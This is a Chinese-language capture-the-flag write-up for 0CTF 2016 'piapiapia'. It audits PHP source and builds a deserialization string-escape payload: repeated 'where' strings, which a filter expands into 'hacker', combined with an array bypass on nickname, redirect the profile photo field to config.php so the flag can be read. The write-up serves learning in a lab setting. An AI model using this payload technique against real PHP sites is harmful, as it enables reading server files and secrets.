[0CTF 2016]piapiapia
打开环境是个登录框,尝试了一下sql注入,发现并无任何用处。
于是扫描目录,发现了个/www.zip。
开始代码审计:
在config.php中看到了flag,但是flag是不可见的。
profile.php:
反序列化unserialize()
读取文件**file_get_contents()**应该可以利用。记录一下
如果$profile[‘photo’]是config.php就可以读取到了
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
register.php页面和index.php页面作为注册登陆,没发现什么明显利用点。
在update.php页面中:
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
首先通过SESSION验证登陆状态,然后根据正则表达式过滤传入的数据。
仔细观察,其中对nickname的验证与之前不同,此处通过strlen()验证了长度不能超过10
此处可以通过数组绕过限制。
在最后调用update_profile()时调用了**serialize()**函数,推测其可能存在反序列化漏洞,在class.php页面中查找update_profile()函数:
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
其中filter()和update()函数
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
其基本逻辑为:
正则表达式过滤提交的参数
序列化变量$profile
将非法值替换为hacker
经过查询,可以使用反序列化字符串逃逸
首先在register.php页面随意注册一个用户:
成功登陆后,进入到update.php页面:
随便写数据 抓包
根据update.php将phone,email,nickname,phtot序列化了
<?php
$profile['phone'] = '1111111111';
$profile['email'] = '1111111111@qq.com';
$profile['nickname'] = 'aaaaa';
$profile['photo'] = 'upload/f3ccdd27d2000e3f9255a7e3e2c48800';
var_dump(serialize($profile));
?>
序列化后
string(159) "a:4:{s:5:"phone";s:10:"1111111111";s:5:"email";s:17:"1111111111@qq.com";s:8:"nickname";s:5:"aaaaa";s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}"
要使photo的值为config.php
nickname前面s的值无法更改,所以在最后构造一个闭合,而且要使nickname为数组绕过长度的限制。
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
数组即可绕过:
nickname[]=
那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:17:"1111111111@q.com";s:8:"nickname";a:1:{i:0;s:5:"aaaaa"};s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
要让最后photo的值被丢弃,使执行的反序列化为**“;}s:5:“photo”;s:10:“config.php”;}**
若想拼接进反序列化字符串中,还需经过filter()函数过滤:
其中”;}s:5:“photo”;s:10:“config.php”;}长度为34,所以需要额外34位,所以在写入where时,被替换为hacker,字符串长度+1
将nickname修改为数组类型,并尝试构造payload:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:17:"1111111111@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}"};s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
参考链接:
https://blog.csdn.net/zz_Caleb/article/details/96777110
本人菜鸟一枚,如果有什么错误的地方,还请大佬指出,共同进步!